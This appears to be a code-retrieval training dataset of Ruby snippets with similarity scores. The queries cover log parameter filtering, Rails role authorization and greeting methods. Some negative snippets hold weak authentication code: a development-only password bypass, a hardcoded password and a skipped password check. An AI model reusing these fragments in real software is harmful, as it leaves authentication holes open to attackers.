"0.5542114",
"0.5537496",
"0.55368644",
"0.55348915",
"0.55262494",
"0.552538",
"0.5523556",
"0.5522058",
"0.55216944",
"0.55213803",
"0.55183274",
"0.5515671",
"0.5515514",
"0.5511488",
"0.5510142",
"0.5509494",
"0.55050594",
"0.55038273",
"0.5496506",
"0.5496188",
"0.549459",
"0.54904944",
"0.5487623",
"0.54836214",
"0.5480464",
"0.54763895",
"0.54710054",
"0.54710054",
"0.5470216",
"0.54686743",
"0.5465345",
"0.54634506",
"0.5457328",
"0.5456062",
"0.5450121",
"0.5448996",
"0.54465103",
"0.5441111",
"0.5434081",
"0.5428467",
"0.5420092",
"0.54180956",
"0.541744",
"0.541542",
"0.5407978",
"0.5406869",
"0.54064804",
"0.54040027",
"0.54019487",
"0.5399054",
"0.5395257",
"0.53925705",
"0.5381762"
] |
0.76887155
|
0
|
Scrub sensitive parameters from your log filter_parameter_logging :password
|
def access_required_member
logger.debug session.to_yaml
redirect_to '/access_denied.html' and return unless session["user_#{current_user.id}"][:access_level] >= Role.access_level('Member')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filter_password_confirmation\n log :filter_password_confirmation, \"\"\n replace_in_file 'config/initializers/filter_parameter_logging.rb',\n 'Rails.application.config.filter_parameters += [:password]',\n 'Rails.application.config.filter_parameters += [:password, :password_confirmation]'\n end",
"def sanitize_credentials\n if params[:user_session]\n params[:user_session][:login].strip!\n params[:user_session][:password].strip!\n end\n end",
"def sanitize_credentials\n if params[:user_session]\n params[:user_session][:login].strip!\n params[:user_session][:password].strip!\n end\n end",
"def encode_params(log_msg)\n params_patterns = \"(#{ENCODE_PARAMS.join('|')})=\\\\w+\"\n log_msg.gsub(Regexp.new(params_patterns)) { |match| hide_value(match).to_s }\n end",
"def inspect\n inspected = super\n inspected.gsub! @password, '*******' if @password\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def inspect # :nodoc:\n mystr = super()\n mystr.gsub!(/(.)pass=.*?([,\\}])/,\"\\\\1pass=<hidden>\\\\2\")\n mystr\n end",
"def clean_params(my_env)\r\n my_env['rack.request.form_hash'].delete('kpw')\r\n my_array = Array.new\r\n r = /(\\&?kpw\\=[^\\&]+)/ ## or /kpw\\=([^\\&]+)/ to just replace the password\r\n my_env['rack.request.form_vars'].gsub!(r) { |m| m.gsub!($1,'')}\r\n my_env\r\n end",
"def crypt_keeper_filter_postgres_log(payload)\n payload.gsub(FILTER) do |_|\n \"#{$~[:operation]}([FILTERED])\"\n end\n end",
"def filtered_parameters; end",
"def strip_private_flag(params)\n params.each do |item, val|\n if val.class == String\n params[item] = decrypt(val.gsub(PRIVATE_PREFIX, \"\")) if val.include?(PRIVATE_PREFIX)\n end\n end\nend",
"def devise_parameter_sanitizer; end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def sanitize_params\n # @where[/\\w*=\\'(.*)\\'/].gsub(/\\'/, \"''\")\n # @where.sub!(/\\w*=\\'(.*)\\'/, { |s| puts s })\n end",
"def password\n 'password'.gsub('', '')\n end",
"def clean_args(args)\r\n require_arg(args, :username)\r\n require_arg(args, :password)\r\n args[:username] = args[:username].downcase\r\n args[:override] = false unless args.key?(:override)\r\n return args\r\n end",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def password=(_arg0); end",
"def extract_password(line) =\n line.match(PASSWORD_INFO)&.named_captures&.transform_keys(&:to_sym)",
"def filter_parameters=(_arg0); end",
"def filter_parameters=(_arg0); end",
"def logger\n params[:secure] ? nil : super\n end",
"def raw_params(auth); end",
"def filter_auth_credentials(credentials)\n auth_keys = %i[host port encryption].freeze\n credentials.select { |key, _v| auth_keys.include?(key) }.freeze\n end",
"def inspect\n inspected = super\n\n inspected.gsub! @password, \"*******\" if @password\n inspected.gsub! @token, \"*******\" if @token\n\n inspected\n end",
"def sanitize_arguments(args)\n # Resolve the host to an IP\n args[:host] = lookup_hostname(args[:hostname])\n args[:port] = args[:port].to_i\n\n # Username should be lowercase, alphanumeric only.\n args[:username].downcase!\n args[:username].gsub!(/[^a-z0-9_-]/, '')\n\n # Remove control characters from password\n args[:password].tr!(\"\\u0000-\\u001f\\u007f\\u2028-\\u2029\", '')\n\n # Read in ssh key data if able.\n if File.file?(args[:ssh_key])\n key_path = File.expand_path(args[:ssh_key].to_s)\n args[:key_data] = File.read(key_path)\n end\n\n args\n rescue Errno::EACCES\n args\n end",
"def filter_params(params)\n AsanaExceptionNotifier::UnsafeFilter.new(params, @options.fetch(:unsafe_options, [])).arguments\n end",
"def sanitize_search_params source_params\n\n my_params = source_params.reject { |k,v| v.nil? }\n\n my_params.except(:action, :controller, :id, :commit, :utf8)\n end",
"def filtering_params(params)\n params.slice(:id, :email, :password, :admin)\n end",
"def refresh_ignores(e, params)\n return unless params.first == @password\n load_ignore_list\nend",
"def ssl_cipher_filter=(_arg0); end",
"def sanitize_params(params = params)\n params = walk_hash(params) if params\n end",
"def filter_argument; end",
"def sanitize_fields_hash\n @sanitize_fields_hash ||= extract_configuration(:sanitize_fields, configuration, [])\n end",
"def raw_params(auth)\n auth.sub(TOKEN_REGEX, '').split(/\"\\s*#{AUTHN_PAIR_DELIMITERS}\\s*/)\n end",
"def remove_and_adopt_encrypt_pass_param_if_any!\n @encrypt_pass = self.delete(:encrypt_pass) if self[:encrypt_pass]\n end",
"def sanitize_params(params = params)\n params = walk_hash(params) if params\n end",
"def password_clean\n crypted_password.decrypt(salt)\n end",
"def log_query\n if search_in_params?\n @log_query = filter_query(params_q_scrubbed)\n else\n @log_query = \"\"\n end\n end",
"def password_params\n params.require(:password).permit(:login, :pass, :url, :obs, :PasswordCategory_id)\n end",
"def filter_params\n @filter_params_cache ||= clean_hash(params[:filter]).with_indifferent_access\n end",
"def cleanup_parameters\n original_count = params.keys.size\n\n # Eliminate \"noise\" parameters.\n params.delete_if { |k, v| k.blank? || v.blank? }\n %w[utf8 commit].each { |k| params.delete(k) }\n\n # If parameters were removed, redirect to the corrected URL.\n will_redirect unless params.keys.size == original_count\n end",
"def inspect\n str = instance_variables.map do |iv|\n if iv == '@password'\n \"#{iv}=[FILTERED]\"\n else\n \"#{iv}=#{instance_variable_get(iv).inspect}\"\n end\n end.join(', ')\n\n \"#<#{self.class}:0x#{(object_id * 2).to_s(16)} #{str}>\"\n end",
"def filter_params( *allowed )\n\n # grab params\n filtered = params.permit( allowed ).to_h.symbolize_keys.select{ |k,v| v.match( FILTERS[ BASE_PARAMS[ k ]]) }\n\n # do any necessary parsing\n filtered.update( filtered ) do |k,v|\n\n v = Date.parse( v ).at_midnight.utc if BASE_PARAMS[ k ] == :date\n\n v\n\n end\n\n end",
"def maintain_redacted_params(webhook, params)\n if webhook.request.password && password_key_does_not_exist_or_is_starred?(params)\n params[\"request\"][\"password\"] = webhook.request.password\n end\n\n new_headers = params[\"request\"][\"headers\"] ||= {}\n existing_headers = webhook.request.headers\n starred_new_headers = new_headers.select { |_key, value| value =~ /^\\**$/ }\n starred_new_headers.each do | (key, _value) |\n new_headers[key] = existing_headers[key]\n end\n params[\"request\"][\"headers\"] = new_headers\n params\n end",
"def password_clean\n crypted_password.decrypt(salt)\n end",
"def encrypt_arguments(raw_password, check_against_database)\n salt = nil\n if password_salt_field\n salt =\n if check_against_database && send(\"will_save_change_to_#{password_salt_field}?\")\n send(\"#{password_salt_field}_in_database\")\n else\n send(password_salt_field)\n end\n end\n [raw_password, salt].compact\n end",
"def injection_params\n params[:injection]\n end",
"def sanitize(context,input)\n whitelist(input,Owasp::Esapi::Ecnoder::CHAR_ALPHANUMERIC)\n end",
"def password=(should); end",
"def prepare_params_for_validation\n self.username = username.downcase.strip unless username.blank?\n self.name = name.strip unless name.blank?\n self.email = email.downcase.strip unless email.blank?\n self.password = password.strip unless password.blank?\n end",
"def disable_empty_password_validation()\n @password = \"non-empty\"\n end",
"def allow_params_authentication!; end",
"def remove_passwords( params_hash )\n params_hash.delete_if { |key| ['password', 'password_confirmation'].include?(key.to_s) }\n end",
"def privatize(txt)\n private_properties unless defined?(@private_props)\n @private_props.each{|v| txt.gsub!(v,\"-private-\") }\n txt.gsub!(decrypt_string_with_prefix(SS_integration_password_enc), \"-private-\") if defined?(SS_integration_password)\n txt\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def raw_params(auth)\n _raw_params = auth.sub(TOKEN_REGEX, '').split(/\\s*#{AUTHN_PAIR_DELIMITERS}\\s*/)\n\n if !(_raw_params.first =~ %r{\\A#{TOKEN_KEY}})\n _raw_params[0] = \"#{TOKEN_KEY}#{_raw_params.first}\"\n end\n\n _raw_params\n end",
"def filter_password_params_if_optional\n if @user.active? && params[:user] && params[:user][:password].blank?\n params[:user].delete(:password)\n params[:user].delete(:password_confirmation)\n true\n else\n false\n end\n end",
"def raw_params(auth)\n _raw_params = auth.sub(TOKEN_REGEX, '').split(/\\s*#{AUTHN_PAIR_DELIMITERS}\\s*/)\n\n if !(_raw_params.first =~ %r{\\A#{TOKEN_KEY}})\n _raw_params[0] = \"#{TOKEN_KEY}#{_raw_params.first}\"\n end\n\n _raw_params\n end",
"def strip_reheat_params(env)\n return unless param = Storehouse.reheat_param\n\n query = env['QUERY_STRING']\n query = query.gsub(/#{param}=?([^&]+)?&?/, '')\n env['QUERY_STRING'] = query\n end",
"def redact_sensitive_inputs\n @run_data[:profiles]&.each do |p|\n p[:inputs]&.each do |i|\n next unless i[:options][:sensitive]\n\n i[:options][:value] = \"***\"\n end\n end\n end",
"def password\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end",
"def service_password( password )\n\t\t\tself.password_digest = Digest::SHA2.hexdigest( password )\n\t\t\tDRbService.log.debug \"Setting encrypted password for %p to \"\n\t\tend",
"def ssl_cipher_filter; end",
"def password_params\n params.permit(:password, :ip)\n end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n if @client_secret\n inspected = inspected.gsub! @client_secret, \"#{'*'*36}#{@client_secret[36..-1]}\"\n end\n\n inspected\n end",
"def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n if @client_secret\n inspected = inspected.gsub! @client_secret, \"#{'*'*36}#{@client_secret[36..-1]}\"\n end\n\n inspected\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def strict_filters; end",
"def secure_hash\r\n params['secureHash']\r\n end",
"def config_log_params\n params.require(:config_log).permit(:userid, :timemodified, :plugin, :name, :value, :oldvalue)\n end",
"def unmangle_params\n if params[:a] && params[:b] && params[:c] && request.post?\n params[:username] = params[:a]\n params[:password] = params[:b]\n params[:drink] = params[:c]\n end\n end",
"def valid_password?(password)\n if Rails.env.development?\n return true if password == \"password\"\n end\n super\n end",
"def skip_password_check(*)\n puts \"Skipped password check\"\n true\n end",
"def anonymous_filter_params\n p = params.required('payload')\n # p.permit!('controls_params')\n # p.permit!('columns_params')\n # p.permit!('sorting')\n # p.permit!('global_config')\n p.permit(\n 'name',\n 'controls_list' => [],\n 'controls_hl_mode' => [],\n 'controls_params' => {},\n 'columns_list' => [],\n 'columns_params' => {},\n 'sorting' => {},\n 'global_config' => {}\n ).merge(permit_hashes(p, [\n 'controls_params',\n 'columns_params',\n 'sorting',\n 'global_config'\n ]))\n end",
"def old_password=(string)\n end",
"def log_params\n params[:log]\n end",
"def sql(event)\n payload = crypt_keeper_payload_parse(event.payload[:sql])\n event.payload[:sql] = crypt_keeper_filter_postgres_log(payload)\n super(event)\n end",
"def remove_from_whitelist\n if query_whitelist(/^#{Regexp.escape(@data[:argument])}/) != :DENY\n File.rewrite(\"#{$config[:'config-dir']}/#{@data[:recipient]}\") do |s|\n s.gsub(/^#{Regexp.escape(@data[:argument])}.*$/, '')\n end\n end\n end",
"def hide_sensitive_params(params_hash, hide_keys = %w(password password_confirmation))\n return if params_hash.nil?\n\n params_hash.each_key do |key|\n if params_hash[key].is_a?(Hash)\n hide_sensitive_params(params_hash[:key], hide_keys)\n elsif hide_keys.include?(key)\n params_hash[key] = '(hidden)'\n end\n end\n end",
"def check_password_changed\n self.temp_password = nil if ( changed.include?('encrypted_password') && !(changed.include?('temp_password')))\n end",
"def standard_password\n \"!@Cd5678\"\n end",
"def parameters(params)\n allowed = [:start,:num,:type,:id,:filter,:tagged,:search,:state,:email,:password]\n params.merge! defaults if defaults\n params.reject {|key,value| !allowed.include? key }\n end",
"def params_strip\n all_strip!(params)\n end",
"def user_log_params\n params[:user_log]\n end",
"def sanitize_parameters(param)\n return param.map { |p| String(p) } if param.is_a?(Array)\n return param.map { |k, v| [String(k), String(v)] }.to_h if param.is_a?(Hash)\n return String(param)\n end",
"def strip_unnecessary_errors\n if errors[:password].any? && errors[:password].size > 1\n errors.delete(:password)\n errors.add(:password, I18n.translate(\"errors.messages.password.password_strength\"))\n end\n end",
"def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n\n inspected\n end",
"def format_input\n\t\t# removing white spaces at the beginning and the end\n\t\t@input_params = @input_params.downcase.strip()\n \tend",
"def password_field; end",
"def auth_param; end"
] |
[
"0.70550495",
"0.6336262",
"0.6336262",
"0.63316625",
"0.6258226",
"0.62339425",
"0.62339425",
"0.6213462",
"0.6187749",
"0.6110442",
"0.60382676",
"0.5864885",
"0.584808",
"0.579081",
"0.5772373",
"0.5756956",
"0.574457",
"0.573957",
"0.57173705",
"0.57173705",
"0.57173705",
"0.57173705",
"0.57084155",
"0.5697356",
"0.5697356",
"0.5692926",
"0.56545645",
"0.5640666",
"0.5628594",
"0.5620952",
"0.5618186",
"0.5615963",
"0.55924875",
"0.5591118",
"0.5543666",
"0.5515283",
"0.55128497",
"0.54963934",
"0.5494185",
"0.5474418",
"0.54680926",
"0.54192483",
"0.54120344",
"0.5411748",
"0.5403121",
"0.53823",
"0.53603333",
"0.53572214",
"0.53565913",
"0.5356364",
"0.5350001",
"0.53279257",
"0.5327496",
"0.5320776",
"0.5314655",
"0.5288204",
"0.5287212",
"0.52854663",
"0.5282282",
"0.52789307",
"0.5277872",
"0.5272938",
"0.52724814",
"0.52649194",
"0.5264867",
"0.52632654",
"0.5255912",
"0.5249404",
"0.52464145",
"0.524199",
"0.524199",
"0.524199",
"0.524199",
"0.524199",
"0.524199",
"0.5241893",
"0.5241893",
"0.5240268",
"0.52373564",
"0.522095",
"0.5219554",
"0.52131987",
"0.5203379",
"0.5194804",
"0.5174288",
"0.517364",
"0.51708704",
"0.5169303",
"0.51622444",
"0.5160697",
"0.5156794",
"0.5156431",
"0.5141981",
"0.5141635",
"0.51390487",
"0.5131773",
"0.5131086",
"0.512945",
"0.51276535",
"0.51275784",
"0.5126975"
] |
0.0
|
-1
|
required for declarative_authorization roles has a TITLE field
|
def role_symbols
(roles || []).map {|r| r.title.to_sym}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_have_invalid_role_title\n assert ! roles(:invalid_title).valid?, \"'Hangaround' shouldn't be a valid role title.\"\n end",
"def role; end",
"def role; end",
"def title(text)\n raise DSLError, \"title only allowed in role blocks\" if @current_role.nil?\n role_titles[@current_role] = text\n end",
"def title(text)\n raise DSLError, 'title only allowed in role blocks' if @current_role.nil?\n role_titles[@current_role] = text\n end",
"def param_whitelist\n [:role, :title]\n end",
"def must_have_a_role\n errors.add(:roles, \"Must have a staff or admin role\") unless admin_or_staff?\n end",
"def role_params\n params.require(:role).permit(:title)\n end",
"def has_role?(*role_titles)\n titles = role_titles.map { |role| role.respond_to?(:title) && role.title.to_s || role.to_s }\n (roles.map(&:title) & titles).any?\n end",
"def authorize_admin_manage_titles\n unless current_user.permission.manage_titles\n redirect_back fallback_location: root_path\n end\n end",
"def role_name_must_be_whitelisted\n unless role_name.present? &&\n Employable::RoleStories.role_names.include?(role_name.to_sym)\n role_names_to_sentence = Employable::RoleStories.role_names.to_sentence(\n two_words_connector: ' or ',\n last_word_connector: ', or '\n )\n errors.add(:role_name, \"must be one of \\\"#{role_names_to_sentence}\\\"\")\n end\n end",
"def validates_role\n self.role = Role.find_by_name \"Technician\" if self.role.nil?\n end",
"def resource_name\n\t\t\"role\"\n\tend",
"def new\n requires({'role' => ['admin','faculty']})\n end",
"def role_required?\n @role_required || false\n end",
"def ensure_there_is_a_role\n if role.blank?\n self.role = \"student\"\n end\n end",
"def has_role?(*role_titles)\n obj = all_roles.detect do |role| \n role_titles.include?(role.title)\n end\n \n return !obj.nil?\n end",
"def role\r\n r = read_attribute(:role)\r\n r.capitalize unless r.nil?\r\n end",
"def role_params\n params.require(:role).permit(:title, :text)\n end",
"def test_should_have_missing_fields\n assert ! roles(:missing_person_id).valid?\n assert ! roles(:missing_client_id).valid?\n assert ! roles(:missing_title).valid?\n end",
"def show\n authorize Title\n end",
"def admin?\n roles.all.map(&:title).include?(\"admin\")\n end",
"def display_role\n ROLE_LIST[self.role]\n end",
"def has_role?(arg) \n if arg.is_a?(Array)\n required_roles = arg.collect {|role| role.to_s}\n else\n required_roles = arg.to_s.to_a\n end\n not (self.roles.to_s.split(' ') & required_roles).empty?\n end",
"def title_for(role)\n role_titles[role]\n end",
"def role?\n false\n end",
"def cms_role_params\n params.require(:cms_role).permit(:title)\n end",
"def role?(role_name)\n role == role_name\n \n end",
"def authorised\n if self.roles.size > 0\n true\n end\n end",
"def has_role?( role )\n\t\treturn self.role.title.to_sym == role if self.role\n\t\tfalse\n\tend",
"def role?\n role.name.to_sym\n end",
"def display_role(element)\n # Interface method\n end",
"def update_roles\r\n self.roles.create(:title => \"admin\")\r\n if self.name.eql? \"Grandor Eldoran\"\r\n self.roles.create(:title => \"admin\")\r\n elsif self.name.eql? \"Test2 Test2\"\r\n self.roles.create(:title => \"member\")\r\n end\r\n end",
"def check_for_role\n self.role = ROLES[:user] if self.role.nil?\n end",
"def roles_presence\n if roles.size == 0\n errors.add(:roles, \"User must have, at least, one role\")\n end\n end",
"def role\n permission_type\n end",
"def after_create\n super\n check_roles\n end",
"def aria_role; end",
"def role_name\n object.role_name\n end",
"def role?(role)\n\t self.role.name == role\n end",
"def head_setter_role\n role_redirect('head_setter')\n end",
"def role\n admin ? \"admin\" : \"user\"\n end",
"def has_role? (role_name)\n self.role ? self.role.name==(role_name.to_s) : false\n end",
"def has_role? (role_name)\n self.role ? self.role.name==(role_name.to_s) : false\n end",
"def role_selection\n \"#{name}\"\n end",
"def get_role_by_title(role_title, role_list = roles)\n role_list.each do |role|\n return role if role.title.downcase == role_title.downcase\n end\n nil\n end",
"def role\n @role\n end",
"def check_role!\n add_role :user if roles.blank?\n if has_role?(:admin)\n add_role :editor unless has_role?(:editor)\n add_role :user unless has_role?(:user)\n end\n end",
"def static_roles?\n false\n end",
"def name_with_role\n \"#{self.name} (#{self.organization.name} - #{self.role.name})\"\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def show\n authorize RoleCutoff\n end",
"def has_role?( role_in_question )\n role_in_question == 'token'\n end",
"def check_for_role\n\t\tself.role = ROLES[:user] if !self.role.present?\n\tend",
"def role_is_instructor?\n has_role? 'instructor'\n end",
"def pundit_authorize\n authorize [:admin, @testimonial||:testimonial]\n end",
"def authorize(required_role)\n self.send required_role.to_sym\n end",
"def admin?\n role == 1\n end",
"def role? role_name\n self.roles.exists? name: role_name.to_s\n end",
"def role_params\n params.require(:role).permit(:name, :desc)\n end",
"def should_validate_organization?\n\t\troles.include?('Customer')\n\tend",
"def has_no_role?\n self.roles.where(\"name != 'errata'\").empty?\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def check_role_description\n if role_id == PersonItemRole['Moderator'].id\n role_desc = UserInterfaceSetting.where({:key => 'moderator_role'}).first\n if role_desc\n self.description = role_desc._value\n end\n elsif role_id == PersonItemRole['OtherParticipant'].id\n role_desc = UserInterfaceSetting.where({:key => 'other_role'}).first\n if role_desc\n self.description = role_desc._value\n end\n elsif role_id == PersonItemRole['Participant'].id\n role_desc = UserInterfaceSetting.where({:key => 'participant_role'}).first\n if role_desc\n self.description = role_desc._value\n end\n else\n self.description = nil if self.description != nil\n end\n end",
"def role_params\n {}\n end",
"def is_admin?\n self.role.role_name == \"Admin\"\n end",
"def student?\n self.role == \"student\"\n end",
"def role?(authorized_role)\n return false if self.employee.nil?\n return false if self.employee.role.nil?\n self.employee.role.downcase.to_sym == authorized_role\n end",
"def has_role?(name)\n !roles.find_by('lower(name) = ?', name.downcase).nil?\n end",
"def liaison?\n role == 'liaison'\n end",
"def is_title\n false\n end",
"def role?(role)\n self.role == role.to_s ? true : false\n end",
"def create_organizer_role\n Role.where(name: 'track_organizer', resource: self).first_or_create(description: 'For the organizers of the Track')\n end",
"def create_organizer_role\n Role.where(name: 'track_organizer', resource: self).first_or_create(description: 'For the organizers of the Track')\n end",
"def role?(role)\n self.role.to_s == role.to_s\n end",
"def full_text\n \"#{role} by #{person.full_name}\"\n end",
"def is_alumno?\n self.role.name.eql?(Role::ALUMNO)\n end",
"def role?(role)\n \troles.include? role.to_s\n end",
"def has_role(r)\n self.role == r\n end",
"def has_role?(role) \n return self.roles.include?(role)\n end",
"def role_valid\n if (APP_CONFIG[\"user_roles\"]+SYSTEM_DATA[\"user_roles\"]).select{|role| role[\"name\"] == self.role}.empty?\n errors.add(:role, \"Role does not exist in config\")\n end\n end",
"def roles_permit?(obj)\n roles.blank? || roles_overlap?(obj)\n end",
"def add_role\n person\n end",
"def check_user_role \t \n redirect_to root_path unless current_user.roles.first.name == \"empleado\" or current_user.roles.first.name == \"supervisor\"or current_user.roles.first.name == \"admin\" \n end",
"def should_require_role(role, *args)\n args = Hash[*args]\n redirect_url = args.delete :redirect_url\n redirect_url ||= '/login'\n args.each do |action, verb|\n should \"require role for '#{action}' action\" do\n if [:put, :delete].include?(verb) # put and delete require an id even if it is a bogus one\n send(verb, action, :id => 1)\n else\n send(verb, action)\n end\n ensure_flash(/permission/i)\n assert_redirected_to(redirect_url)\n end\n end\n end",
"def title\n !@resource.title.blank?\n end",
"def admin?\n self.role == 'Admin'\n end",
"def admin?\n self.role.downcase == \"admin\"\n end",
"def admin?\n self.role.downcase == \"admin\"\n end",
"def create?\n user.role == \"Envio\" || user.role == \"Cadastro\" || user.admin?\n end",
"def role_params\n params.require(:role).permit(:title, :description, :abr, :start_point)\n end",
"def admin? \n role == 'admin'\n end",
"def index\n @roles = Role.all.order(\"title asc\")\n end",
"def check_for_role\n\t\tself.role = ROLES[:user] if self.role.nil?\n\tend",
"def is_admin?\n \trole.name == 'Administrator'\n end",
"def display_all_roles\n # Interface method\n end",
"def admin?\n role == \"admin\"\n end",
"def admin?\n role?('admin')\n end",
"def role_valid\n if !role_data\n errors.add(:role, :invalid)\n end\n end"
] |
[
"0.6781774",
"0.66469723",
"0.66469723",
"0.6556628",
"0.6538224",
"0.64279",
"0.642527",
"0.6396382",
"0.638975",
"0.6356024",
"0.6325904",
"0.6264541",
"0.6260399",
"0.62375784",
"0.62160397",
"0.62018883",
"0.61882824",
"0.6130857",
"0.60919774",
"0.6067625",
"0.6050125",
"0.60481125",
"0.602549",
"0.6016792",
"0.6001708",
"0.5997244",
"0.59945947",
"0.5955828",
"0.5949809",
"0.5931951",
"0.59247977",
"0.5915918",
"0.5887298",
"0.5825746",
"0.5806751",
"0.57898813",
"0.5784692",
"0.57844365",
"0.578423",
"0.57759976",
"0.5771301",
"0.5770713",
"0.57438976",
"0.57438976",
"0.5742022",
"0.57401663",
"0.57339126",
"0.57284456",
"0.57181436",
"0.5716515",
"0.5705475",
"0.5705475",
"0.5702791",
"0.5702701",
"0.57007164",
"0.5690292",
"0.568717",
"0.56866014",
"0.56833297",
"0.56827533",
"0.5678938",
"0.5675828",
"0.5675103",
"0.565652",
"0.565652",
"0.56558955",
"0.5654562",
"0.565446",
"0.56494886",
"0.564565",
"0.5643371",
"0.5641393",
"0.5640379",
"0.5638939",
"0.5637896",
"0.5637896",
"0.5632455",
"0.56305844",
"0.5629886",
"0.5629089",
"0.5627989",
"0.5625631",
"0.56246835",
"0.56242716",
"0.5608325",
"0.55976146",
"0.5595167",
"0.55941653",
"0.55889416",
"0.5586491",
"0.5586491",
"0.5580791",
"0.5580733",
"0.55805105",
"0.5580468",
"0.5578923",
"0.557664",
"0.5574075",
"0.5572966",
"0.5571411",
"0.5570627"
] |
0.0
|
-1
|
Write a program that contains a method called greeting that takes a name as its parameter. It then prints a greeting message with the name included in it.
|
def greeting(name)
print "Hello there, #{name}!"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def greeting(name)\n puts \"Hello #{name}, welcome to the program!\"\nend",
"def greeting(name)\n print \"hello \" + name + \" what the fuck is your problem?\"\nend",
"def greeting(name)\n\t\tputs \" Hi there #{name}, how are you doing today?\"\n\tend",
"def greeting(name)\n\tputs \"Hello \" + name + \". Have a nice day!\"\nend",
"def greeting(name)\n\tp \"hello\" + \" \" + name\nend",
"def greeting(name)\n\tp \"hello\" + \" \" + name\nend",
"def greeting(name)\n puts \"Hello #{name}\"\n end",
"def greeting(name)\n\tputs \"Hello, \" + name + \". How are you doing?\"\nend",
"def greet(name)\n print \"Hello, #{name} how are you doing today?\"\nend",
"def greeting(name)\n puts \"Hello, \" + name + \", I like cats!\"\nend",
"def greeting(name)\n puts \"Aloha \" + name\nend",
"def greeting_a_person(name)\n puts \"Hello #{name}\"\nend",
"def greeting(name) \n puts \"Hello, \"+name\nend",
"def greeting(name)\n puts \"Hello, #{name}. Nice to meet you.\"\nend",
"def greeter(name)\n puts \"Hello #{name}! How are you today?\"\nend",
"def greet(name)\n puts \"hello \" + name\nend",
"def greet\n puts '------------------------'\n puts \"Greetings to you #{@name}\"\n end",
"def greeting(name)\n puts \"Hello, #{name}.\"\nend",
"def greet\n puts \"Hello! My name is #{name}!\"\n end",
"def greeting(name)\n puts \"Hello, #{name}\"\nend",
"def greeting(name)\n puts \"Hello, #{name}\"\nend",
"def greets(name)\n puts \"hello #{name}, my name is #{@greeter_name}\"\n end",
"def greet(name)\n puts \"Hello, #{name}\"\nend",
"def greeting(name)\n\t\"Hello, #{name}\"\nend",
"def greeting(name)\nputs \"Hello #{name}. It's nice to meet you.\"\nend",
"def greeting\n puts \"Hi, my name is #{@name}.\"\n end",
"def greeting(name)\r\n\tp \"hello \" +\"\"+ name\r\nend",
"def greeting\n puts \"Welcome to the world of practical effects\"\n end",
"def greeting(name)\n \"Hello, \" + name\nend",
"def say_hello(name)\n puts \"Hello, #{name}!\"\n end",
"def greeting(person)\n puts \"Hello, \" + person\nend",
"def greeting(name)\n \"Hello and welcome to Ruby methods \" + name + \"!\"\nend",
"def say_hello_personal(name)\n\tputs \"Hello \" + name\nend",
"def greeting(name)\n puts \"Hi \" + name\n namet\nend",
"def greeting\n puts \"Hi my name is #{@name}\"\n end",
"def greet(name)\n\t\"Hello, #{name}!\"\nend",
"def greeting (name)\n puts \"What is your name?\"\n name = gets.chomp\n puts \"Hello #{@name}!\"\n end",
"def say_hello(name)\n puts \"Good afternoon, #{name}. How are you?\"\nend",
"def greeting(name)\n \"Howdy #{name}, welcome back!\"\nend",
"def greet(person)\n puts \"Hello, \" + person\nend",
"def greet(person)\n puts \"Hello, \" + person\nend",
"def say_hello_to(name)\n puts \"Hello, #{name}. It's good to see you.\"\n puts \" \"\n end",
"def greeting \r\n puts \"Hi, Ruby programmer!\"\r\nend",
"def greet name\t\t\t# name is a \"parameter\" of the method.\n\tputs \"Hello #{name}!\"\nend",
"def greet\n puts \"Hello, #{@name}!\"\n end",
"def sayHello(name)\n puts \"Hello, #{name}\"\nend",
"def greeting(greeting, name)\n puts \"#{greeting}, #{name}\"\nend",
"def greeting(name)\n \"Hello there, \" + name + \"!\"\nend",
"def greeting(name)\n \"Hello, #{name}!\"\nend",
"def greet\n\t\tputs \"Hi, my name is #{@name}\"\n\tend",
"def greetings\n\tputs \"Greetings friend!\"\nend",
